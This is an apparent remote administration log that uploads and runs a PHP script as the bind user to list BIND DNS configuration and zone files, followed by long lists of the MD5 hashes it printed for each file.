MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= 2447ee93bae25e108bcd66a6e5e99caf
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:58:34: Establishing a connection
2026-03-14 11:58:34: Establishing a connection
2026-03-14 11:58:34: 

PUT: /tmp/pkp284928

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:58:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp284928; rm /tmp/pkp284928'

2026-03-14 11:58:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= 2447ee93bae25e108bcd66a6e5e99caf
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
